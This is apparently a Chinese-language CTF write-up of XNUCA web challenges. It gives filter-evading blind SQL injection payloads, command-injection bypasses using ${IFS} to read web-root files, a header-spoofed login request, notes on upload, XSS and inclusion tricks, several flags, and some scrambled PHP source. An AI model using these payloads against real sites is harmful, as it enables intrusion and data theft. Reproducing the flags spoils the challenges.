[XNUCA 进阶篇](web)writeup

XNUCA 进阶篇writeup

看一航写了些就去看了下,大多比较基础,直接报答案

default

[XNUCA 进阶篇](web)writeup_第1张图片

阳关总在风雨后

题目过滤很多,*,#,/ ,and,or,|,union,空格,都不能用

盲注,最后的姿势是:1'%(1)%'1

中间的括号的位置是提交查询语句的地方,由于过滤了 or 所以只能使用mid from 的姿势对字符串进行截取

uname=1'%(ascii(mid((select(group_concat(passwd))from(admin))from(1)))>1)%'1

还有一种一航的可以使用异或符号
uname=admin'^!1^'1

脚本跑出:50f87a3a3ad48e26a5d9058418fb78b5
解密是得到 shuangshuang,然后进行登录
登录上去之后是一个命令执行

  • 过滤了空格
  • 过滤了php字符
  • 权限只有只读
  • 显示只显示命令结果的最后一行

绕过方法如下:

  • 使用${IFS}代替空格,已附参考链接
  • 命令后面添加 | head -n 1 绕过只显示最后一行

所以我们执行的命令依次为

  • ls${IFS}/var/www/html|head${IFS}-n${IFS}1
    • [XNUCA 进阶篇](web)writeup_第2张图片
  • ls${IFS}/var/www/html/9ef89ad913e848b64b73e3aa721e44e4|head${IFS}-n${IFS}1
    • [XNUCA 进阶篇](web)writeup_第3张图片
  • cat${IFS}/var/www/html/9ef89ad913e848b64b73e3aa721e44e4/*|head${IFS}-n${IFS}1
    • [XNUCA 进阶篇](web)writeup_第4张图片

Document

  • 看源码
    [XNUCA 进阶篇](web)writeup_第5张图片
  • [XNUCA 进阶篇](web)writeup_第6张图片
[XNUCA 进阶篇](web)writeup_第7张图片
Tips: the parameter is file! :) 


=70)
        {
            echo "

error!

"; } else { include($file.'.php'); } } ?>
  • [XNUCA 进阶篇](web)writeup_第8张图片
file:

[XNUCA 进阶篇](web)writeup_第9张图片

[XNUCA 进阶篇](web)writeup_第10张图片

login

  • [XNUCA 进阶篇](web)writeup_第11张图片

    
login




  • [XNUCA 进阶篇](web)writeup_第12张图片

捉迷藏

修改背景色


[XNUCA 进阶篇](web)writeup_第13张图片
[XNUCA 进阶篇](web)writeup_第14张图片

vote

[XNUCA 进阶篇](web)writeup_第15张图片
echo '
goBack
'; echo ''; echo ''.$arr[0].''.round($arr[1], 2).''; $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id'])); echo ''.$arr[0].''; $arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$r['id'])); while ($r = mysql_fetch_array($q)) { echo 'LogoTotal votesAverage'; echo ''; echo '

Thank you! Results:

'; $q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id"); $q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')"); $vote = 1; if ($vote > 5 || $vote < 1) $vote = (int) $_POST['vote']; $id = $_POST['id']; die('please select ...'); if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) if (isset($_POST['submit'])) { $login = $_SESSION['login']; } $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6); if (!isset($_SESSION['login'])) { session_start(); include 'db.php'; < ?

应该是个二次注入没开虚拟机,明天再试

DrinkCoffee

[XNUCA 进阶篇](web)writeup_第16张图片

解这个得到cafe,最后提交

POST / HTTP/1.1
Host: 218.76.35.75:65280
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
X-Forwarded-For: 10.10.20.1
Referer: http://www.iie.ac.cn 
Cookie: PHPSESSID=u3dn1o0ldnv8e244foo5kudvq4
Connection: close
Upgrade-Insecure-Requests: 1

password=cafe

php是门松散的语言

[XNUCA 进阶篇](web)writeup_第17张图片

简单问答

[XNUCA 进阶篇](web)writeup_第18张图片

后台

  • [XNUCA 进阶篇](web)writeup_第19张图片
  • [XNUCA 进阶篇](web)writeup_第20张图片
  • [XNUCA 进阶篇](web)writeup_第21张图片

php是最好的语言

[XNUCA 进阶篇](web)writeup_第22张图片

HTTP头注入

[XNUCA 进阶篇](web)writeup_第23张图片

明显的报错
[XNUCA 进阶篇](web)writeup_第24张图片

Y0ugetT82f00000laev

简单的文件上传

修改一下content-type


[XNUCA 进阶篇](web)writeup_第25张图片

简单的js

char = (60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,48,32,119,105,100,116,104,61,48,32,115,114,99,61,34,46,47,102,108,48,97,46,112,104,112,34,62)
password = ''
for i in char:
    password += chr(i)

print password
//"./fl0a.php"

访问然后查看请求头即可
C00k1els60SecU5e

试试xss

' />

[XNUCA 进阶篇](web)writeup_第26张图片

简单的文件包含

[XNUCA 进阶篇](web)writeup_第27张图片

然后访问链接即可

简单的验证

[XNUCA 进阶篇](web)writeup_第28张图片

爆破guess的值,得到573

EaSy70Ch1ngG00kie

GG

前端题,只发现一个js,copy ,复制到 firefox的console,然后美化源代码,耐心点看

'webqwer'[1] + '100.js'
所以就是 e100.js

[XNUCA 进阶篇](web)writeup_第29张图片

oT0yTrjU0xhjhj2YTcT8jljMWpzS9tDk

Reappear

[XNUCA 进阶篇](web)writeup_第30张图片
[XNUCA 进阶篇](web)writeup_第31张图片
[XNUCA 进阶篇](web)writeup_第32张图片

e...是一个反的base64,利用py的切片操作:flag:{uveDoneAgreatJob}

比较基础,还有两题未解,有些不值得那些时间,玩一下还是挺好的

你可能感兴趣的:([XNUCA 进阶篇](web)writeup)